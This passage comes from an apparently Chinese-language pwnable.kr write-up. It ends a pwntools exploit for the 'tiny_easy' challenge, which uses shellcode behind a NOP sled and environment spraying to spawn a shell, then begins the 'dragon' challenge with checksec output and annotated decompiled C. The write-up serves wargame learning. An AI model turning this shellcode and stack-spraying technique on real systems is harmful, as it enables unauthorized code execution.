</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="s1">    mov ebx, eax
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="s1">    mov ecx, eax
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="s1">    xor eax, eax
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="s1">    mov al, 71
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="s1">    int 0x80
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="s1">        &#39;&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">shellcode</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="o">.</span><span class="n">sh</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s1">&#39;nop&#39;</span><span class="p">)</span><span class="o">*</span> <span class="mi">4096</span> <span class="o">+</span> <span class="n">shellcode</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">arg</span> <span class="o">=</span> <span class="p">[</span><span class="n">p32</span><span class="p">(</span><span class="mh">0xff96cdf8</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="n">envp</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">envp</span><span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)]</span> <span class="o">=</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">io</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">executable</span> <span class="o">=</span> <span class="s2">&#34;/home/tiny_easy/tiny_easy&#34;</span><span class="p">,</span> <span class="n">argv</span><span class="o">=</span><span class="n">arg</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;try: </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="n">io</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>运气最好一次，第二次就拿shell了，最差的是100次跑完都没有shell，我建议多执行几次。</p>
<p>好像要学学汇编了。</p>
<h3 id="dragon">dragon<a class="anchor" href="#dragon">#</a></h3>
<blockquote>
<p>I made a RPG game for my little brother.
But to trick him, I made it impossible to win.
I hope he doesn&rsquo;t get too angry with me :P!</p>
<p>Author : rookiss</p>
<p>ssh <a
  href="mailto:dragon@pwnable.kr"
  >dragon@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">dragon@ubuntu:~$ checksec ./dragon
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">[*] &#39;/home/dragon/dragon&#39;
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">  1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Welcome to Dragon Hunter!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  6</span><span class="cl">    <span class="c1">// 进入游戏
</span></span></span><span class="line"><span class="ln">  7</span><span class="cl">  <span class="nf">PlayGame</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">
</span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="kt">int</span> <span class="nf">PlayGame</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 14</span><span class="cl">
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">    <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Choose Your Hero</span><span class="se">\n</span><span class="s">[ 1 ] Priest</span><span class="se">\n</span><span class="s">[ 2 ] Knight&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">        <span class="c1">// 输入值为result
</span></span></span><span class="line"><span class="ln"> 21</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">GetChoice</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">      <span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="o">!=</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">result</span> <span class="o">!=</span> <span class="mi">2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">      <span class="nf">FightDragon</span><span class="p">(</span><span class="n">result</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="o">!=</span> <span class="mi">3</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">      <span class="c1">// 没写出来的支线，输入3就能进去。
</span></span></span><span class="line"><span class="ln"> 29</span><span class="cl">    <span class="nf">SecretLevel</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">
</span></span><span class="line"><span class="ln"> 34</span><span class="cl"><span class="kt">int</span> <span class="nf">GetChoice</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">  <span class="n">_DWORD</span> <span class="n">v1</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span> <span class="c1">// [esp+1Ch] [ebp-Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 37</span><span class="cl">	<span class="c1">// 读取一个整数到v1[0]
</span></span></span><span class="line"><span class="ln"> 38</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="n">v1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">    <span class="c1">// 清除缓冲区，直到没有换行符
</span></span></span><span class="line"><span class="ln"> 40</span><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="nf">getchar</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">10</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="p">;</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">  <span class="k">return</span> <span class="n">v1</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">
</span></span><span class="line"><span class="ln"> 45</span><span class="cl"><span class="c1">// 游戏函数
</span></span></span><span class="line"><span class="ln"> 46</span><span class="cl"><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">FightDragon</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">  <span class="kt">char</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// al
</span></span></span><span class="line"><span class="ln"> 49</span><span class="cl">  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [esp+10h] [ebp-18h]
</span></span></span><span class="line"><span class="ln"> 50</span><span class="cl">  <span class="n">_DWORD</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span> <span class="c1">// [esp+14h] [ebp-14h]
</span></span></span><span class="line"><span class="ln"> 51</span><span class="cl">  <span class="n">_DWORD</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+18h] [ebp-10h]
</span></span></span><span class="line"><span class="ln"> 52</span><span class="cl">  <span class="kt">void</span> <span class="o">*</span><span class="n">v5</span><span class="p">;</span> <span class="c1">// [esp+1Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln"> 53</span><span class="cl">
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">  <span class="n">ptr</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mh">0x10u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">  <span class="n">v4</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mh">0x10u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">  <span class="n">v1</span> <span class="o">=</span> <span class="n">Count</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="c1">// 截断末尾，0就是龙宝，1就是龙母，所以这两只交替生成
</span></span></span><span class="line"><span class="ln"> 58</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">v1</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">      <span class="c1">// 注意这里转了字节
</span></span></span><span class="line"><span class="ln"> 61</span><span class="cl">      <span class="c1">// 龙母80滴血，每轮回4滴血，伤害10
</span></span></span><span class="line"><span class="ln"> 62</span><span class="cl">    <span class="n">v4</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v4</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mi">80</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v4</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">    <span class="n">v4</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">    <span class="o">*</span><span class="n">v4</span> <span class="o">=</span> <span class="n">PrintMonsterInfo</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Mama Dragon Has Appeared!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">      <span class="c1">// 龙宝50滴血，伤害30，每轮回5滴血
</span></span></span><span class="line"><span class="ln"> 72</span><span class="cl">    <span class="n">v4</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v4</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mi">50</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v4</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="n">v4</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">30</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">    <span class="o">*</span><span class="n">v4</span> <span class="o">=</span> <span class="n">PrintMonsterInfo</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Baby Dragon Has Appeared!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">a1</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">      <span class="c1">// 法师 42滴血，50蓝量
</span></span></span><span class="line"><span class="ln"> 82</span><span class="cl">    <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">    <span class="n">ptr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="n">ptr</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">50</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="n">ptr</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">PrintPlayerInfo</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">    <span class="n">v2</span> <span class="o">=</span> <span class="nf">PriestAttack</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">ptr</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">      <span class="c1">// 骑士50滴血
</span></span></span><span class="line"><span class="ln"> 91</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">a1</span> <span class="o">!=</span> <span class="mi">2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">      <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">    <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">    <span class="n">ptr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">50</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">    <span class="n">ptr</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">    <span class="n">ptr</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">PrintPlayerInfo</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">    <span class="n">v2</span> <span class="o">=</span> <span class="nf">KnightAttack</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">ptr</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">    <span class="c1">// 根据不同职业攻击函数的返回值判断
</span></span></span><span class="line"><span class="ln">100</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Well Done Hero! You Killed The Dragon!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;The World Will Remember You As:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">      <span class="c1">// 输入你的名字
</span></span></span><span class="line"><span class="ln">105</span><span class="cl">    <span class="n">v5</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mh">0x10u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">    <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%16s&#34;</span><span class="p">,</span> <span class="n">v5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">      <span class="c1">// 打印龙的名字
</span></span></span><span class="line"><span class="ln">108</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;And The Dragon You Have Defeated Was Called:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">      <span class="c1">// 相当于v4[0](v4)
</span></span></span><span class="line"><span class="ln">110</span><span class="cl">      <span class="c1">// 调用龙结构体中的函数指针
</span></span></span><span class="line"><span class="ln">111</span><span class="cl">    <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">*</span><span class="p">)(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">))</span><span class="o">*</span><span class="n">v4</span><span class="p">)(</span><span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You Have Been Defeated!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">  <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">
